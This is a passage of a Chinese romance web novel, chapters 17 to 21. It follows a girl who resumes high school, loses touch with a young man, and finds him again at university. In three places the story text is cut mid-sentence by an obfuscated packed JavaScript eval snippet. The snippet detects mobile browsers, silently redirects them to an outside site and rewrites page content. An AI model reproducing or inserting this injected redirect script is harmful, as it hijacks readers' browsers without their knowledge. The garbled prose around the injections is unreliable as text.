除了笔记本、笔芯、便利贴这些零碎的东西,毛巾、牙刷、牙膏、盆这些生活用品也是必须买的。打字打到这里,方禾忍不住开始想,她会被分到哪一个有空床位的寝室?不知道那些室友好不好相处? 方禾有点怀念高一高二那两年里的室友了。小小的宿舍里摆五架上下铺,住十个人,是有些挤,但她们十个人关系很好,有零食一起吃,谁藏了手机也偷偷一起玩。 对了,说到寝室,方禾想起自己还应该买一个小台灯,熄灯时间一到宿舍就没电了,没有台灯照明,想赶时间补个作业或者洗个衣服都不方便。 这一忙起来就忘了时间,直到方朝贵端着碗坐在外面吆喝:“吃饭不?要吃就自己去锅里舀,莫指望我舀好给你端来。” 日头已经偏西,山这边阴着,对面山坡上却还被夕阳的余晖明晃晃地照着。 太阳真是从西边出来了,两个小时之前他们还大吵一架,方朝贵一副巴不得她永远都别再回来的样子,现在煮好了饭居然还来叫她一声。 不对付归不对付,方禾已经不是之前那个会因为意气用事而委屈自己的人了,该吃就吃,凭什么饿肚子。 方禾去了厨房,看到锅里煮着的居然是鸡蛋面。 方朝贵做饭的手艺远不如奶奶,但凑合着也能吃。 等她盛了一碗面条端出去,方朝贵斜了她一眼,又开始阴阳怪气地叨叨:“以为你有好大的本事,灰溜溜地回来了还不是要吃我煮的饭。” 在你一句我一句的争吵中,爷孙俩吃完了晚饭。 方禾只把自己的碗洗了,没打算洗锅。 翌日,方禾给方达海打电话要钱。 方禾觉得理所当然,他没有尽过当父亲的责任,这本来就是他欠她的。 方达海也怕方禾三天两头打扰他,数落了方禾几句,就痛快地转了一大笔钱过来,足够方禾这一年的学费和生活费。 在家歇了一天,五号一大清早,方禾就提着行李箱去村头搭车了。 因为袁老师给方禾办了休学,所以方禾重新回学校读书的事情没什么波折。 只可惜,袁老师带完上一届高三要回头去带新高一了,方禾不能再继续跟着袁老师。 重新坐在教室里的那一刻,方禾无比感谢袁老师。 其实袁老师完全可以不用管她的,可袁老师还是在替她操心后路。 方禾没什么可以回报袁老师的,她只能好好学习,考个好成绩,让袁老师知道,她没有白白替她操心。 18. 第 18 章 来到陌生的班级,班里的同学早就有了自己固定的伙伴和搭子,不管是跑操、吃饭还是上厕所,都是三三俩俩结伴而去。 方禾只想把时间都花在学习上,无意去硬挤入那些早就磨合好的圈子,她喜欢独来独往,只和周围的同学维持着再普通不过的同学关系。 其他同学对她表示善意,她也回以同样的善意和友好,只是,方禾不会再执着于找一个同行同吃的搭子了。 一个人也很好啊,不用顾虑着等谁,一下课就可以往食堂冲,一下晚自习就可以赶紧往宿舍跑争取第一个洗澡。 本来方禾觉得在火锅店里忙前忙后一晚上已经够累了,但真的开始进入学习状态后,她才感觉到,身体的累和脑子的累是完全不一样的。 累的时候,方禾每周唯一的盼头就是放假了。 放假就能休息,就能有手机,就能给夏岩发消息。 方禾很珍惜给夏岩发消息的次数,恨不得在一条消息里噼里啪啦打上个几百字,把想说的话一口气全问了。 方禾能感觉出来,夏岩大概是下定决心不打扰她了,因为他虽然有回复,却回得极其简略,措辞也十分谨慎,不会说任何能引起歧义和暧昧氛围的话。 她确实只在周末给夏岩发消息,平时都按班主任的要求自觉把手机交上去,然后专心上课。 丢掉了整整一年,许多以前的知识方禾都觉得陌生。 她想把淡忘的知识都捡起来。 方禾一遍遍在心里告诉自己,不只是为了去见夏岩,为了奶奶的愿望,为了袁老师的期待,为了走出大山,为了自己的未来,她也得好好学习才行。 开学后没多久,高三就迎来了第一次月考。 不出所料,方禾考得很差。 曾经稳定在年级前十的人,现如今的排名掉在了一百开外。 全年级好几百学生,或许在其他人看来,能考到一百多名已经很不错了,只有方禾自己知道,她现在的成绩和从前差得不是一星半点。 如果不是记性不错,她可能连前两百名都考不进。 方禾自己是清楚的,她时隔一年才回学校,状态还没找回来,考不过别人很正常,可习惯了名字排在光荣榜前面的人,眼看着自己下滑了那么多,又怎么能心平气和地接受呢? 这种巨大的落差在方禾看来就是考试失利,她表面上云淡风轻,其实心里难过得要死。 方禾骨子里也有些争强好胜的因子在,她不回来读书也就罢了,既然回来了,那她就没办法接受自己只考一个平平无奇的分数,只进一所普普通通的大学。 不说考多好,至少也得回到她之前正常发挥的水平才行。 方禾想起袁老师和夏岩曾经跟她说过的话,他们都说她会后悔的,果然,到了这一刻,方禾真的尝到了后悔的滋味,很苦涩,苦到了心里。 她后悔离家出走了,后悔自己一气之下就荒废了这一年,唯一不后悔的,大概就是遇见夏岩吧。 好不容易熬到放假,班主任发了手机,方禾想给夏岩打电话诉苦。 虽然夏岩义正辞严地说过,不准她给他电话,消息也只能一个月发四次。可偶尔犯一次规,应该也没关系吧。 第一通语音电话打过去,无人接听,夏岩大概在忙。心情本就不好的方禾有点生气,她打了一长段话发过去。 等方禾想再打第二通电话的时候,她一摸口袋,才发现手机丢了。 站在熙熙攘攘的街头,回看自己刚刚走过的路,方禾想不起自己的时候是在什么时候掉的又或者被偷的。 也许是她从校门口出来被人撞到的时候,也许是她从人挤人的农贸市场口经过的时候……总之,她的手机确实是没了。 而那张装在手机里的电话卡,是用她爸方达海的身份证办的。 方禾回了家,借邻居家柳奶奶的手机打电话给方达海,想让他去补办一下电话卡,方达海却说他没那闲工夫,只说会给她转买新手机的钱。 没有电话卡,收不到验证码,申诉找回账号密码也一次次失败,方禾找不回之前的微信账号了。 都怪夏岩,他不给她电话号码也就算了,什么时候连微信号也悄悄改了。 方禾是在重新注册了微信后,按她原来背过的那个微信号去加夏岩时,才发现那一串微信号搜索不到任何用户的。 如果夏岩没改微信号,说不定她就能重新加回他的微信了。 方禾记得小时候她还会背韩佳冰家里的座机电话,会把小姨、方达海、村里开面包车的司机的电话号用本子记下来,可习惯了依赖手机通讯录后,方禾纵使有好记性,也懒得刻意去背什么电话号。 她压根没有去记过赵文芳和玉娇姐的电话号码,她的记性更没有好到过目不忘的程度……所以,方禾这下是彻底联系不上夏岩了,也联系不上在卢嘉市的任何一个人。 有了手机之后,方禾曾经觉得世界很小,即使两个人相隔山海、天南海北,也能聊天和打视频电话。 此刻,方禾抬头望望高远的天、连绵的山,第一次感觉这个世界原来还是那么大,大到一旦没有了联系方式,就很难再找到一个人了。 手机还是太小了,小到装不下回忆,也承载不了思念。 时间一长,方禾也记不清她最后一次给夏岩发消息是什么时候,又发了什么内容。 她只能难过地学习。 一闲下来方禾就忍不住陷入跟夏岩失联的懊恼和不甘,方禾只能努力不让自己闲下来。 早起背书,课间要么去办公室找老师问问题目,要么就趴在课桌上小睡几分钟。 方禾还买了一个随身的小本子,把一些重要的公式定理、单词语法记下来,排队打饭的时候能翻出来看一看。 晚上的晚自习上到十点多,等寝室十个人都洗漱完毕,也将近十一点了。 躺到床上,方禾累得只想睡觉。 她想起在赵记鲜味火锅店的那些日子,那时候她也是每晚都累得倒头就睡,不同的是,那时候她是累得胳膊酸,累得腿疼,现在却是累得脑仁疼,累得还没开始想夏岩,人就已经睡着了。 高三时间紧张,每隔三周才会有一次两天的假期,平常的每个周末都只放半天假,可以玩手机,可以出校门去街上转转,但半天的时间远远不够离家远的同学回趟家。 也因为这样,方禾一个月才回一次家。 但这正合方禾的意,反正她跟方朝贵都相互看对方不顺眼,能少见面就少见面吧。 方禾放假在家的时候,爷孙俩往往说不到两句话就要吵起来,方朝贵敢撸袖子说要打她,方禾就敢抄起菜刀乱挥。 他们谁也治不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15507510|169853||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了谁,最后往往就是方朝贵跑去山坡上放牛,方禾闷在屋里写作业。有时候也反过来,方禾抱着书本躲到听不到方朝贵唠叨的林子里背书,方朝贵一个人坐在门槛上喝酒。 至于三餐,爷孙俩也是各煮各的饭,各洗各的碗,过得跟分了家一样。 回家的次数少了,就显得时间过得很快,方禾感觉自己还没回去多少次,就放寒假了。 这学期的努力没有白费,方禾慢慢找回了之前的学习状态,遗忘的知识点也慢慢重新熟悉了起来,几次周考月考下来,方禾的名次逐渐上升,期末考试更是重回了年级前十名。 腊月二十八,方达海开车回来了,接他爹方朝贵去城里过年,顺便问方禾愿不愿意去。 方禾没去过,也不想去,方朝贵走了,她一个人清清静静地待着更好。 见方禾果然不愿意去,方达海松了一口气。 方朝贵倒是无所谓方禾去不去,他想的是,既然方禾不去,那他正好就不用麻烦邻居帮忙喂牛了。 上车前,方朝贵嘱咐方禾,记得给圈里的牛喂食喂水,天气好就把牛放出去吃草。 方禾淡淡应了一声。她是和方达海、方朝贵过不去,但还不至于跟家里的牛过不去。 在某种程度上来讲,牛又乖顺,又不会骂她,方禾跟牛待在一起反而更舒心。 她上午在家里烤火刷题,午后暖和了,就把三头牛都赶去山坡上,她自己也坐在旁边晒晒太阳。 最后一抹夕阳消失在山间,方禾一个人坐在炉子边吃晚饭,牛圈里的牛在吃她刚上的玉米秆,脖子上的铃铛一下一下地响着。 屋外渐渐有了烟花和鞭炮的声音,这家刚放完,另一家又接上,断断续续地响了很久。 每响一次都像是在提醒方禾,今天是除夕,是本该合家团圆的日子。 方禾忍不住想起了奶奶。 想完奶奶,方禾又不可避免地想到了去年她在夏岩家过的那个除夕……真的好温馨,好怀念。 冬去春来,天气渐渐暖和起来,日子在笔尖与纸张的碰撞中一天天过去,方禾各科做过的试卷都攒了厚厚一沓,写完的空笔芯加起来也有一小把。 春天,方禾在高考百日誓师动员大会放飞了写着“榆南大学”四个大字的气球。 初夏,方禾怀揣着希冀,脚步轻快地走进了高考考场。 没错,不管是高一进校时还是现在,方禾的目标大学都是夏岩考上的那个榆南大学。 这其实也不算多么巧合,毕竟榆南是本省的省会城市。因为奶奶的缘故,当时方禾并不想去其他省份读书,所以榆南大学作为省内最好的大学,自然而然地被方禾当作是奋斗目标。 至于现在仍然想考榆南大学,除了一部分执念,另一部分原因……方禾得承认,这其中有夏岩的因素在,而且占比不小。 抛开这些不谈,考榆南大学对方禾也绝算不上亏本,如果说离家出走之前的方禾还有机会冲击虽在外省但水平更高的名校,那荒废了一年的方禾,能上榆南大学的调档线就已经算是发挥得不错了。 真正考下来的分数也确实如方禾所预想的那样。 拿到录取通知书的那一刻,方禾就想,或许冥冥之中都是注定的,注定她该去夏岩所在的学校。 只是,不知道夏岩还记得他跟她的约定吗? 19. 第 19 章 处暑已过,榆南九月的空气中隐隐有了桂花的气味,天气也凉爽了些。 榆南大学里,从操场外路过的人都忍不住说这一届的大一新生运气好,军训避开了最热的时候,不用天天在烈日下暴晒。 夏岩在这个九月结束了休学。 他想,不出意外的话,方禾也会在这个九月踏进大学校门,可他不知道方禾会在哪所大学,两人断联已经将近一年。 重新回到学校报道注册,夏岩被公寓服务部的老师分到了有空床铺的混寝。 其他三个舍友的专业不同,但已经同住一年,彼此间早已形成了默契。 融入一个磨合好的小团体需要时间和耐心,而且长达两年的休学生活也让夏岩更加习惯独来独往,他无意刻意去维护和舍友的关系,一切按部就班,顺其自然。 这天晚上,夏岩做完家教回到宿舍,发现平时只是点点头、简单打个招呼的三位室友居然都在以一种奇怪的目光打量着他。 “我说……”周帆看向他,笑得意味深长,“表白墙上被“通缉”的那个夏岩,该不会就是你吧?” 夏岩刚把肩上的书包取下挂在椅子上,闻言,一时有些不明所以:“什么表白墙?” “你居然不知道?”周帆抹了一把他新弄的摩根前刺,脸上的笑意更甚。 倒是躺在床上的唐诗豪好心伸长胳膊,把手机递了过来:“好几个表白墙的号都发了,来来来,我这儿有。” 夏岩倾身去看。 动态页面几乎被榆南大学的几个表白墙、互助墙刷屏。 “通缉”夏岩的那条消息从一堆找饭卡、找对象、找代课、找跑腿的消息中脱颖而出,因为只有这条消息,是被几个表白墙同时发的。 每个表白墙发出来的截图不一样,但图上的话差不多是同一句—— 【墙墙你好,想捞一个制药学叫夏岩的男生,不匿。】 这句话来自一个昵称叫“十月禾”的号。 毕竟不是自己的手机,夏岩没有拿过来手动放大图片,但依稀能看见那个号的头像是一只背着小书包手拿向日葵的兔子。 唐诗豪滑动手机,给夏岩展示这个号的“壮举”。 这个“十月禾”竟然还在每一个表白墙的说说下留了评论:【夏岩,如果看到了就快点加我!有认识他的同学请帮忙转告他一下,谢谢~】 夏岩浏览着手机屏幕的目光一顿,神情变得凝重。 头像他没见过,但是那个昵称,他记得。 两年前,方禾提起这个昵称的来历时,还特意给他说过,她的生日在农历的十月份,所以他记得很清楚。 一直没说话的代成杰也忍不住揶揄道:“难道是你在外头欠了什么风流债?” 夏岩沉默了。 他从没欠过什么风流债,非要说有的话,那只可能是…… 是方禾吗?她找来了?怎么会呢,她明明已经都十一个月没有理过他了。 唐诗豪收回手机之后,夏岩还站在原地久久回不过神来。 真的是方禾吗?她怎么突然之间就出现了? 突然得像是沉闷春夜里,人们毫无准备时骤然响起的第一道惊雷。 突然得像是他某个清晨起来,发现阳台上乍然开出了一朵太阳花。 她来找他做什么呢?之前难道不是她故意不想再跟他有联系吗? 夏岩还记得自己把十七岁的方禾送到火车站的情景,他跟她说要好好念书考个好大学,她不耐烦地点头,像是没听进去。 方禾撒娇问他要他的电话号码,他狠着心没给。除了不想干扰方禾学习,其实也是因为他还是觉得方禾不过是一时兴起,转头就会把他给忘了。 她也真的忘了。 明明分别前还嚷嚷着说要经常给他发消息,可是不到三个月,她就没再理他。 夏岩随便点几下手机就能找出好友列表里方禾的微信,她发给他的最后一条消息停留在去年十月份。 当时她在抱怨,说他一个月只能发五条消息的要求太不近人情。 她还控诉,说他的回复不冷不热太过敷衍,说他不接她电话一定是故意的。 除了不接她电话,其他每一条指控夏岩都认。可当时那种情况,他怎么可能心安理得地每天给她发消息,稍微说些太过温和的话他都怕不合适,所以只好尽可能地让自己发出的文字冰冷一些。 他的本意只是不想让方禾分太多心思在他身上,但方禾显然不喜欢他的这种做法。 那条消息之后,方禾再也没有理过他。 他以为方禾是在赌气。离得那么远,让她一个人在另一个城市生闷气似乎也不好,他就主动给她发。 消息发出去,夏岩等了又等,但每个周末都会有新消息进来的聊天对话框再也没有更新过。 可能方禾终于如他所愿的那样,终于发现了他的不好,终于不再喜欢他。既然如此,他也就不去打扰她了,默默躺在彼此的好友列表里当陌生人就好。 也不对。一年前的夏岩没考虑那么多,但此时此刻的夏岩仔细一想就察觉到了不对劲。 他点进方禾的朋友圈,里面从去年九月份开始就没再更新过,夏岩本来以为是方禾屏蔽了他,现在想来,事实可能并不是他以为的那样。 方禾明明有他的联系方式,现在却要这样费尽周章地来大海捞针,是不是说明她当初不是想和他停止联系,只是因为一些原因而联系不上他了? 还有,她居然考来了榆南大学?是真的喜欢这个大学,还是因为他在这里?如果原因是后者,那么她高考的分数有没有被浪费? 种种猜测浮现在夏岩的脑海里,他不得不去洗个澡冷静一下。 表白墙他之前也加的有,只是他长时间不在学校里,表白墙又频繁地发说说,他索性就把表白墙的动态给屏蔽了。 夏岩躺到床上,从列表里翻出表白墙的号,点进去,果然,这个表白墙也发的有那张方禾捞他的截图。 纠结了许久,他还是从评论区戳进她的头像,点击添加好友。 那边很快就通过了,就像专程等在手机边似的。 她试探地问:【夏岩?】 夏岩迅速打字回复:【是我。】 方禾却不太相信:【真的是你吗?】 她这次很谨慎:【不行,你得证明一下,万一是冒充的。】 表白墙的消息发出去后,这小半天里有好几个男的跑来加她,有的一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15512370|169853||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开场就说一些恶心的话,还有的,顶着夏岩的名字跟她东拉西扯,硬要约她出去看电影,一看就居心叵测、目的不纯。 还要证明,夏岩勾起嘴角,忍不住笑出声。 两年不见,她果然还是那个古灵精怪的方禾。 该怎么证明呢?想了想,夏岩敲下一行字发过去:【奥利奥奶茶和柚子酱的炸鸡?】 这两样东西,是他在初遇的雨夜买给妹妹却阴差阳错给了她的,也是他在送她回广青时特意给她买过的。 那边回得飞快,句句都带感叹号,看得出来打字的人很激动。 【夏岩!】 【真的是你,太好了!】 下一秒,夏岩看到那句“太好了”被撤回了。 重新发过来的消息是:【夏岩,你太过分了!】 方禾噼里啪啦地打字,每个字看起来都不那么高兴,但她心里欢喜。 【你都不来找我,一点都不关心我,搬家了居然也不告诉我!】 【你就是想甩掉我,大坏蛋!】 【现在我也考上榆南大学了,你甩不掉我了吧哈哈哈哈。】 夏岩看着屏幕上不断跳跃出来的控诉他的消息,一时有些愣神。 已经很久很久没有看到过方禾的消息了。 断联之后,夏岩起初以为方禾是真的过了那个新鲜劲,把他抛在脑后了。他很有自知之明,知道她不想联系他,他也就不去打扰她。 可是,随着方禾不联系他的时间越来越长,夏岩也渐渐担心了起来。 他怕她不回消息是出什么事了,所以专门找了号码打电话去跟方禾所在高中的教务处确认。 教务处证实,方禾仍在照常上学,没有异常。 所以,她确实好好待在学校里,只不过是忘了他而已。 这样很好,方禾终于像他一开始期待的那样,走上了不早恋的正道,她不再迷恋他,一心好好学习……曾经幼稚爱闹腾的小姑娘好像忽然长大了,也懂事了,知道什么才是正确的路了,夏岩挺欣慰的。 可是,为什么他没有像他预料的那般如释重负呢?为什么他心里有个地方还在隐隐作痛呢? 之后,他只在实在忍不住的时候给方禾发过两条消息。 一条新年快乐,一条高考加油,她也都没回。 他便更加笃定方禾是不想理他,忘了他,甚至是讨厌他。 这两年的变故让夏岩习惯了失去。 尽管失去依然会让他痛苦,可他只觉得失去是他的宿命。已经失去了那么多东西,那么,失去一个喜欢的女孩,似乎是理所应当的,或许他的生活本就不该有那么多美好存在。 夏岩只当偶遇那个精灵般天真烂漫的少女只不过是他因打工太疲惫而在盛夏时做的一场梦。 终于,夏天过去了,梦醒了,梦中的少女也没了踪影。 夏岩是真的没有想到,一年后的大学里,那个失联已久的女孩会毫无预兆地出现。 分别之前,夏岩不敢对方禾谈喜欢。 分别之后,那些喜欢和爱意才终于破土而出,在那一年的岁月中疯狂生长,如同方禾离别时给他的那袋种子一样,扎根发芽,一天比一天茁壮,一天比一天茂盛。 20. 第 20 章 因为重新联系上了夏岩,方禾激动得在床上滚来滚去,要不是已经熄灯了,她真想大叫两声,把杨惜、邹珊、田晓佳通通叫起来听她分享失而复得的喜悦。 本来踢了一天正步就够累了,明天一早又还要去操场集合训练,方禾就是有熬夜的心思也没有实践的力气,和夏岩约好见面的时间地点后,方禾就放下手机睡过去了。 睡着前,方禾还在心里祈祷,如果明天能下雨就好了。 但祈祷无效,起床号吹响的时候,外面半滴雨都没有。 方禾认命地爬起来把被子叠成有楞有角的豆腐块,换上迷彩服,简单洗漱后,边抹着防晒霜边往操场赶。 当然,路上她也不忘把找到夏岩以及要跟夏岩见面的事情说给同行的舍友听。 哈欠连天地站了半小时的军姿,吃了顿早饭,上午的训练正式开始。 中午的休息时间看起来有两个小时,可排队吃完饭再大老远回到宿舍,留给睡觉的时间也就半个多小时。 方禾很珍惜睡午觉的时间,至于晚上,训练结束后要排队洗头洗澡以及写那该死的心得体会,所以她跟夏岩约的见面时间是晚训前。 从吃过晚饭到晚训开始,中间有一个小时的放风时间,足够他们见上一面再好好聊聊。 坐在靠近操场门口的草坪上等待时,方禾忽然想到,现在大家都穿着一样的衣服,也不知道夏岩能不能认出她。 旁边围坐的人逐渐多了起来,大家都在趁着这段空闲时间休息,三三两两地歪坐在被太阳晒得还在散发热气的草坪上,或闲聊或吃东西或玩手机。 不知道等了多久,埋头看小说的方禾抬头放松眼睛时,一眼就看到了夏岩。 周围全是穿着迷彩服累得恹恹的身影,高挑挺拔一身休闲装的夏岩便格外显眼了些。 方禾的嘴角扬了起来,看着夏岩一步一步地走近。 夏岩显然是认出她了,因为他从进操场后就一直在朝她所在的位置走,路线没有偏移,脚步也没有迟疑。 那脚步渐近,最后停在了方禾身前。 高大的阴影覆了下来,遮住了照在方禾脸上的夕阳。 听到夏岩叫她的名字,方禾“哼”了一声,偏过头:“我还在生气呢,才不要跟你说话。” 方禾其实没生气,她也没道理生夏岩的气,她知道两人失联的事情怪不到夏岩头上,毕竟找不回微信号的人是她,夏岩对着一个不会回复消息的微信又能做什么呢? 只是,如果不耍点小脾气,方禾不知道该怎么样来缓解一年不见的陌生感和乍然重逢的尴尬。 夏岩在方禾旁边坐下,侧身打量身边的女孩子。 一年多没见,她身上的稚气稍减,气质中多了几分成熟,人似乎也瘦了许多。 因为军训的缘故,肤色不如他记忆中的那样白皙,但依旧漂亮得让他移不开眼。 方禾抱着腿,沐浴在夕阳的暖光中,感受着身边人的呼吸,终于对找回夏岩这件事情有了实感。 “你居然还记得我……”夏岩说了他们见面以来的第一句话。 这话让方禾有点不高兴了,她瞪着夏岩,气鼓鼓地说:“什么叫‘居然还记得’?你难道觉得我会忘了你吗?你也太小瞧我了。” “倒是你,当时就对我不怎么热络,我走之后,怕是转眼就把我给忘了吧?” “没有忘。” 怎么会忘记呢? 夏岩都永远记得,那个有趣、可爱又爱笑的少女,出现在他最落魄最痛苦的那段日子。 虽然他一直在将方禾推开,可他不得不承认,每次她来找他,他心底还是开心的。 是明媚如阳光的方禾,照亮了他最灰暗的那些时光。 夏岩更记得,那个夏天,单纯善良的少女把辛苦攒下的钱留给了他。 赵文芳真的很努力地在掩饰这笔钱的来历。 可是,那段时间,又是涨工资,又是发奖金,接二连三地发钱,慢慢地,夏岩就察觉到了不对劲。 在他的几番追问下,赵文芳就全说了,连同方禾给钱时的那些话,也都告诉了夏岩。 知道真相的夏岩说不出自己心里是什么滋味,明明她才是年纪小的那一个,可却是她反过来在照顾他。 至于方禾责怪他从前对她不够热络,夏岩承认,也并不后悔。 她那个时候还是个没成年的小姑娘,他如果真的像她想的那般用热烈亲密的态度对她,那他成什么人了? “高考完,我去找过你的。”方禾扣着草皮里的小石子,略带委屈地说,“可是你们家搬走了。” “火锅店也没开了,我找不到你。” 在漫长的一生中,一年的时间或许并不算长,但也足以改变很多东西。 高考完,方禾就开始在镇上的辅导班打工,拿到录取通知书后,她迫不及待地收拾行李出发,坐上高铁直奔卢嘉市。 可她并没有像她预想的那样顺利找到夏岩。 夏岩家原来住的地方已经人去楼空、房门紧锁,赵文芳原来开的那家火锅店现在变成了一家卖烤鱼的店。 邻居不知道夏岩家搬去了哪里,烤鱼店的老板说他是找中介租的店面,不认识之前的老板。 在卢嘉找不到夏岩,方禾就准备去榆南大学里找。夏岩跟她说过的,不出意外的话他会回学校读书。 可是……方禾忍不住想,万一出了意外呢?万一夏岩家里的情况更遭了,他是不是就不会再回榆南大学了? 胡思乱想也没用,离开学还有一个多月,她既然不想再回家去,就得找地方安顿自己。 方禾转道去了韩佳冰打暑假工的城市,一直打工到开学前两天宿舍可以入住了,她才带着行李和录取通知书来报道。 对于该怎么在偌大的学校里找到夏岩这件事情,方禾一开始是没有头绪的,听舍友说了表白墙这个东西,她就抱着试试看的心态在上面发捞人的消息,没想到居然真的成了! “赵姨听人说,有个县高考可以加分,她托人找好落户的办法,就带着思敏搬过去了,我看她的朋友圈,好像到了那边之后她又开了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15518653|169853||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 火锅店,还开了两家。”夏岩解释道。 “这一年,你过得好不好?”方禾对赵文芳去哪里开店以及开多少都没兴趣,她只想知道与夏岩有关的事情。 “挺好的。” 方禾又问:“珂珂呢?” “也很好,上初中了,成绩还不错,分到了实验班。” 方禾接着问:“叔叔阿姨呢?” 方禾只在那年春节时见过黄书翠一次,她喜欢这个说话温柔,总是笑眯眯的阿姨。黄书翠怕吓到方禾,没让方禾去看卧床的夏康安,但方禾在客厅茶几上的全家福上看到过夏康安的样子,他笑得和蔼可亲。 “我爸他……去世了。” “对不起,我不该问的。” “没事,都过去了。” 夏康安离世前一天精神很好,跟家里人说了很多话。他说其实知道自己的心脏出了问题,瞒着家里人,是想多挣半年奖金。 既然提到了家里的事情,夏岩就顺便跟方禾解释了一下他们为什么搬家。 夏康安的离开虽然让全家人都很伤心,但从另一个角度讲,也未尝不是一件好事,他不用再在日复一日的痛苦中煎熬,他的妻子也不用被困在家里寸步不离地照顾他。 黄书翠重新出门上班了,家里的经济状况好了些,夏珂也到了小升初的关键时期,所以他们家半年前就搬到了离夏珂读书的小学更近的地方,方便夏珂上下学。 “你呢?你好不好?” “好呀,在我家那边挺好的,来了学校之后更好了!”不用跟方朝贵吵架,简直好得不能再好了。 关心过去的事情似乎已经没什么意义了,夏岩就关心眼前的:“军训还吃得消吗?饭菜吃不吃得惯?” 时隔多年,夏岩依然清楚地记得,军训的饭菜并不好吃。 榆南大学致力于让军训的学生深刻体会一下艰苦朴素的生活,所以安排他们在专门的食堂就餐,用自己准备的饭盒打饭,然后自己洗碗。 至于菜色……那就一言难尽了,早餐是白粥榨菜配干瘪的馒头,午餐是菜泡饭,晚餐是清水挂面。所以很多学生宁愿交的军训伙食费白扔,也要偷偷跑到其他食堂或者学校外的店去吃饭。 洗碗池旁边准备的洗洁精用处并不大,因为那样的饭菜里压根没多少油水。 “这有什么吃不消的,背苞谷和割麦子的累也不比这少。”区别可能是,背苞谷再累,她想歇就能坐下歇会儿,而军训却没有那么自由,弯腰系个鞋带都得打报告,这也是方禾唯一受不了的一点。 夏岩差点忘了,方禾是从小就吃过苦的孩子,虽然外表看起来有几分娇弱,骨子里却并不娇气。 “至于饭嘛,是难吃了些,不过我勉强也吃得下去。” 因为奶奶惯着她,会偷偷留好吃的给她,所以方禾在吃饭上有点小挑剔,去火锅店里打了一年的工之后,胃口更是被养刁了。 她顺势提出:“等我军训完,你请我吃饭好不好?我刚来,也不知道附近有什么好吃的。” 夏岩点头应下。 21. 第 21 章 晚风徐徐地吹着,两人有一搭没一搭地聊着,直到天边的夕阳一点一点暗下去。 操场上的人陆陆续续多了起来,吃完晚饭的教官们也都回来了,眼看快到集合时间了,方禾只好让夏岩先回去。 晚训结束,方禾拖着酸痛的双腿往宿舍走。 四个人排队洗了澡之后,宿舍门突然被敲响。 “咚咚咚——” 听见声音,方禾四人都被吓了一个激灵,她们以为是查寝的来了,手忙脚乱地开始把卷发棒、电煮锅和插线板藏进柜子里,生怕被发现,毕竟隔壁寝室因为电热水壶被处分的前车之鉴还摆在那儿。 因为不爱煮饭、不爱卷头发而没有带违规电器来学校的方禾走到门前,确认大家都藏好之后,才小心翼翼地把门打开一道缝。 门外只站着一个娃娃脸的女生,脖子上没戴牌子,手里也没拿什么表格,只提着一个大袋子。 不是查寝的,方禾松了一口气,正想问问这人找谁,面前的女生开口了:“方禾在吗?有人让我送东西过来。” “我就是。” 娃娃脸女生微笑着把手里的袋子递了过来:“给,这个是给你的。” 方禾愣了一下,接过袋子,虽然心里隐隐有个答案,但她还是问道:“谁买的啊?” “不知道,我只是跑腿的,收钱办事。”娃娃脸女生耸耸肩,脚步轻快地转身离开了,她喜欢挣这种小钱,比代课来钱快,比固定在外卖平台兼职自由灵活。 方禾刚关上门,目睹了全过程的室友们立刻围了上来。 “哇,这是谁送的啊?”杨惜眼睛发亮,伸手就要去翻袋子。 方禾刚刚就打开袋子扫了一眼,里面装的都是些酸奶、饼干、巧克力和糖果之类的,所以她也没拦着不让杨惜翻。 “是夏岩吧?”不等方禾回答,邹珊先揶揄地笑道,“我下午就看见你和一个男生一起坐在操场上,应该就是你说的那个夏岩?” “对。”虽然还没跟夏岩确认,但应该就是他没错。除了夏岩和刚认识不久的舍友,方禾在学校里也没有其他关系好到会给她买零食的人,而且夏岩下午还问过她住在哪里。 想到这些,方禾微微脸热。所以夏岩确实不讨厌她,而且可能还有那么一点点在意。 “哎哟,脸红了!”田晓佳指着方禾的脸,笑得前仰后合。 杨惜和邹珊也都跟着起哄。 “刚重逢就谈上了啊,这进度,杠杠的!” “我嗑到了!” “没有没有!你们不要乱猜!”方禾反驳完,故作镇定地拆开一包薯片,“吃零食吧,你们喜欢吃什么就自己拿,反正这么多我一个人也吃不完。” 宿舍四人嘻嘻哈哈地围坐在桌边,一边吃零食一边聊天。 直到熄灯躺到床上后,方禾才发消息给夏岩。 之后的一个星期里,方禾依然要忙着军训,她没再让夏岩出来见她,就算夏岩有空,她也没那个精力,军训比割麦子和端盘子还累,又不能随便乱动,有点空闲方禾也只想好好休息、好好睡觉。 但他们两个人每天都会聊天。 夏岩虽然不会主动给她发消息,可她发给他的消息他一定会回,她问什么问题,他也都会回答。 